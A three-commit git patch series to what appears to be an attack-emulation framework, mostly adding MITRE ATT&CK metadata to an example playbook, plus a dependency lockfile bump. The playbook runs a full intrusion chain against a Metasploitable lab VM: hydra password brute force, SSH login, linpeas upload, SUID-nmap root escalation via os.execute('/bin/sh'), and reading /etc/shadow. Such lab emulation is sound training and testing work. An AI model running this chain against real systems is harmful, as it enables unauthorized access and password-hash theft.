From 188d49c7ca17cf5c3e4cadabf013d504159d1bd2 Mon Sep 17 00:00:00 2001 From: Chasel <925928496@qq.com> Date: Thu, 21 May 2026 10:10:26 +0800 Subject: [PATCH 1/3] fix: add metadata to sftp command in ssh_example.yml Add MITRE ATT&CK mapping for the sftp command that uploads linpeas. The sftp command was the only one in the playbook missing metadata, which broke consistency with all other commands. - Add description documenting the file upload operation - Map to T1105 (Ingress Tool Transfer) technique - Map to Execution tactic Fixes #232 --- examples/ssh_example.yml | 57 +++++++++++++++++++++++++++++++++++++--- 1 file changed, 53 insertions(+), 4 deletions(-) diff --git a/examples/ssh_example.yml b/examples/ssh_example.yml index 0927d656f..8ee799099 100644 --- a/examples/ssh_example.yml +++ b/examples/ssh_example.yml @@ -1,5 +1,5 @@ # -# Author: Wolfgang Hotwagner +# Author: Wolfgang Hotwagner, Erik Grafendorfer # Description: # This playbook perfoms the following attack-steps: # 1. scan the metasploitable-vm @@ -16,15 +16,23 @@ # 4. Target a Metasploitable2-VM # vars: - METASPLOITABLE: 172.17.0.106 - PASSWDLIST: /usr/share/seclists/Passwords/darkweb2017-top1000.txt + METASPLOITABLE: 192.168.0.146 + PASSWDLIST: /snap/seclists/current/Passwords/Common-Credentials/darkweb2017_top-1000.txt commands: - type: shell cmd: nmap -A -T4 $METASPLOITABLE + metadata: + description: "Execute a portscan against the target" + techniques: "T1595,T1592.002" + tactics: "Reconnaissance" - type: shell cmd: hydra -l user -P $PASSWDLIST $METASPLOITABLE ftp + metadata: + description: "Brute-force FTP-password" + techniques: "T1078.002,T1110.001,T1133" + tactics: "Initial Access" # Parse the output of hydra and isolate the bruteforced password. # The password will be stored in the variable $USERPW @@ -32,10 +40,14 @@ commands: cmd: ".*login: user.+password: (.+)" output: USERPW: "$MATCH_0" + metadata: + description: "Parse the password from the result of the bruteforce attack" # Print out the password - type: debug cmd: "Password found: $USERPW" + metadata: + description: "Print parsed password" # Login via ssh using the bruteforced password - type: ssh @@ -43,15 +55,24 @@ commands: username: user password: "$USERPW" hostname: $METASPLOITABLE + interactive: False creates_session: "foothold" + metadata: + description: "Login via ssh using a valid account and check the current user" + techniques: "T1078.002,T1033" + tactics: "Initial Access,Discovery" # create a local tempfile for linpeas - type: mktemp variable: LINPEAS + metadata: + description: "Create temporary directory for linpeas results" # download linpeas locally - type: shell cmd: wget -O $LINPEAS https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh + metadata: + description: "Download linpeas locally" # upload linpeas using the previously created ssh-session - type: sftp @@ -60,25 +81,41 @@ commands: remote_path: /tmp/linpeas.sh session: "foothold" mode: "777" + metadata: + description: "Upload linpeas.sh to target via SFTP for privilege escalation enumeration" + techniques: "T1105" + tactics: "Execution" - type: debug cmd: "Executing LinPeas. This will take a while. Please be patient" + metadata: + description: "Print warning" # Execute linpeas in interactive mode. The command_timeout # is set to 0 because linpeas runs very long without any # output. AttackMate will run until the output of the commands # ends with a prompt. + - type: ssh - cmd: "bash /tmp/linpeas.sh\n" + cmd: "/tmp/linpeas.sh -s -o system_information,container,cloud,procs_crons_timers_srvcs_sockets,network_information,software_information,interesting_perms_files,interesting_files,api_keys_regex \n" + session: "foothold" save: /tmp/linpeas_output.txt exit_on_error: False interactive: True command_timeout: 0 + metadata: + description: "Enumerate system using linpeas to find privilege escalation weaknesses" + tactics: "Discovery" + techniques: "T1087,T1083,T1201,T1069,T1057,T1518,T1082,T1614,T1016,T1049,T1033,T1007,T1615" # prepare the privilege escalation - type: ssh cmd: echo "os.execute('/bin/sh')" > somefile session: foothold + metadata: + description: "Prepare exploit for privilege escalation" + techniques: "T1548" + tactics: "Privilege Escalation" # nmap has suid-permissions. we can escape by # executing our payload as a script. We need @@ -88,11 +125,19 @@ commands: cmd: "nmap --script=./somefile localhost\n" session: foothold interactive: True + metadata: + description: "Escalate privileges using wrong permissions on nmap" + techniques: "T1548" + tactics: "Privilege Escalation" - type: ssh cmd: "id\n" session: foothold interactive: True + metadata: + description: "Check current user" + techniques: "T1033" + tactics: "Discovery" # proof that we have root permissions by # reading out the shadow-file @@ -100,3 +145,7 @@ commands: cmd: "grep root /etc/shadow\n" session: foothold interactive: True + metadata: + description: "Read out password hashes" + techniques: "T1003.008" + tactics: "Credential Access" \ No newline at end of file From f670e5fd36fbc54339126bcf6e40594ef0ba2022 Mon Sep 17 00:00:00 2001 From: Chasel <925928496@qq.com> Date: Wed, 17 Jun 2026 16:59:41 +0800 Subject: [PATCH 2/3] Update examples/ssh_example.yml Co-authored-by: whotwagner --- examples/ssh_example.yml | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/examples/ssh_example.yml b/examples/ssh_example.yml index 8ee799099..d1211051c 100644 --- a/examples/ssh_example.yml +++ b/examples/ssh_example.yml @@ -17,7 +17,7 @@ # vars: METASPLOITABLE: 192.168.0.146 - PASSWDLIST: /snap/seclists/current/Passwords/Common-Credentials/darkweb2017_top-1000.txt + PASSWDLIST: /usr/share/SecLists/Passwords/darkweb2017_top-1000.txt commands: - type: shell From d3b192b5129d214cdf2dcc5bd9a03b65eaa64341 Mon Sep 17 00:00:00 2001 From: "dependabot[bot]" <49699333+dependabot[bot]@users.noreply.github.com> Date: Thu, 18 Jun 2026 12:22:28 +0000 Subject: [PATCH 3/3] Bump starlette from 0.50.0 to 1.3.1 Bumps [starlette](https://github.com/Kludex/starlette) from 0.50.0 to 1.3.1. - [Release notes](https://github.com/Kludex/starlette/releases) - [Changelog](https://github.com/Kludex/starlette/blob/main/docs/release-notes.md) - [Commits](https://github.com/Kludex/starlette/compare/0.50.0...1.3.1) --- updated-dependencies: - dependency-name: starlette dependency-version: 1.3.1 dependency-type: indirect ... Signed-off-by: dependabot[bot] --- uv.lock | 21 +++++++++++---------- 1 file changed, 11 insertions(+), 10 deletions(-) diff --git a/uv.lock b/uv.lock index ecc23421b..4a1ce817e 100644 --- a/uv.lock +++ b/uv.lock @@ -1,5 +1,5 @@ version = 1 -revision = 2 +revision = 3 requires-python = ">=3.10" resolution-markers = [ "python_full_version >= '3.14'", @@ -521,17 +521,18 @@ wheels = [ [[package]] name = "fastapi" -version = "0.122.0" +version = "0.137.2" source = { registry = "https://pypi.org/simple" } dependencies = [ { name = "annotated-doc" }, { name = "pydantic" }, { name = "starlette" }, { name = "typing-extensions" }, + { name = "typing-inspection" }, ] -sdist = { url = "https://files.pythonhosted.org/packages/b2/de/3ee97a4f6ffef1fb70bf20561e4f88531633bb5045dc6cebc0f8471f764d/fastapi-0.122.0.tar.gz", hash = "sha256:cd9b5352031f93773228af8b4c443eedc2ac2aa74b27780387b853c3726fb94b", size = 346436, upload-time = "2025-11-24T19:17:47.95Z" } +sdist = { url = "https://files.pythonhosted.org/packages/e2/29/cc5819dc24d3daa80cdaa1aec023bf8652a70dd7fd1c96b0b225c99a7690/fastapi-0.137.2.tar.gz", hash = "sha256:b9d893bebc97dcfbdcb1917e88a292d062844ea19445a5fa4f7eb28c4baea9e3", size = 410332, upload-time = "2026-06-18T06:58:24.434Z" } wheels = [ - { url = "https://files.pythonhosted.org/packages/7a/93/aa8072af4ff37b795f6bbf43dcaf61115f40f49935c7dbb180c9afc3f421/fastapi-0.122.0-py3-none-any.whl", hash = "sha256:a456e8915dfc6c8914a50d9651133bd47ec96d331c5b44600baa635538a30d67", size = 110671, upload-time = "2025-11-24T19:17:45.96Z" }, + { url = "https://files.pythonhosted.org/packages/2f/ed/0c6b644e99fb5697d8bdcd36cdb47c52e77a63fc7a1514b1f03a6ecab955/fastapi-0.137.2-py3-none-any.whl", hash = "sha256:791d36261e916a98b25ac85ee591bc3db159394070f6d3d096d94fb378f60ce2", size = 122252, upload-time = "2026-06-18T06:58:26.074Z" }, ] [[package]] @@ -1455,15 +1456,15 @@ wheels = [ [[package]] name = "starlette" -version = "0.50.0" +version = "1.3.1" source = { registry = "https://pypi.org/simple" } dependencies = [ { name = "anyio" }, { name = "typing-extensions", marker = "python_full_version < '3.13'" }, ] -sdist = { url = "https://files.pythonhosted.org/packages/ba/b8/73a0e6a6e079a9d9cfa64113d771e421640b6f679a52eeb9b32f72d871a1/starlette-0.50.0.tar.gz", hash = "sha256:a2a17b22203254bcbc2e1f926d2d55f3f9497f769416b3190768befe598fa3ca", size = 2646985, upload-time = "2025-11-01T15:25:27.516Z" } +sdist = { url = "https://files.pythonhosted.org/packages/eb/e3/7c1dc7381d9f8ab7d854328ebfa884e62cb3f3d8549ddfd37c7814f42afa/starlette-1.3.1.tar.gz", hash = "sha256:05d0213193f2fbaae60e2ecb593b4add4262ad4e46536b54abe36f11a71724e0", size = 2703240, upload-time = "2026-06-12T09:23:11.602Z" } wheels = [ - { url = "https://files.pythonhosted.org/packages/d9/52/1064f510b141bd54025f9b55105e26d1fa970b9be67ad766380a3c9b74b0/starlette-0.50.0-py3-none-any.whl", hash = "sha256:9e5391843ec9b6e472eed1365a78c8098cfceb7a74bfd4d6b1c0c0095efb3bca", size = 74033, upload-time = "2025-11-01T15:25:25.461Z" }, + { url = "https://files.pythonhosted.org/packages/ec/bb/2799cc2ede3ed41131f8975621e7213dfc7ef4acbbaadfa440f32500c370/starlette-1.3.1-py3-none-any.whl", hash = "sha256:c7372aae11c3c3f26a42df7bd626cec2f47d03483d261d369516a615a53714c6", size = 73632, upload-time = "2026-06-12T09:23:10.017Z" }, ] [[package]] @@ -1552,14 +1553,14 @@ wheels = [ [[package]] name = "typing-inspection" -version = "0.4.1" +version = "0.4.2" source = { registry = "https://pypi.org/simple" } dependencies = [ { name = "typing-extensions" }, ] -sdist = { url = "https://files.pythonhosted.org/packages/f8/b1/0c11f5058406b3af7609f121aaa6b609744687f1d158b3c3a5bf4cc94238/typing_inspection-0.4.1.tar.gz", hash = "sha256:6ae134cc0203c33377d43188d4064e9b357dba58cff3185f22924610e70a9d28", size = 75726, upload-time = "2025-05-21T18:55:23.885Z" } +sdist = { url = "https://files.pythonhosted.org/packages/55/e3/70399cb7dd41c10ac53367ae42139cf4b1ca5f36bb3dc6c9d33acdb43655/typing_inspection-0.4.2.tar.gz", hash = "sha256:ba561c48a67c5958007083d386c3295464928b01faa735ab8547c5692e87f464", size = 75949, upload-time = "2025-10-01T02:14:41.687Z" } wheels = [ - { url = "https://files.pythonhosted.org/packages/17/69/cd203477f944c353c31bade965f880aa1061fd6bf05ded0726ca845b6ff7/typing_inspection-0.4.1-py3-none-any.whl", hash = "sha256:389055682238f53b04f7badcb49b989835495a96700ced5dab2d8feae4b26f51", size = 14552, upload-time = "2025-05-21T18:55:22.152Z" }, + { url = "https://files.pythonhosted.org/packages/dc/9b/47798a6c91d8bdb567fe2698fe81e0c6b7cb7ef4d13da4114b41d239f65d/typing_inspection-0.4.2-py3-none-any.whl", hash = "sha256:4ed1cacbdc298c220f1bd249ed5287caa16f34d44ef4e9c3d0cbad5b521545e7", size = 14611, upload-time = "2025-10-01T02:14:40.154Z" }, ] [[package]]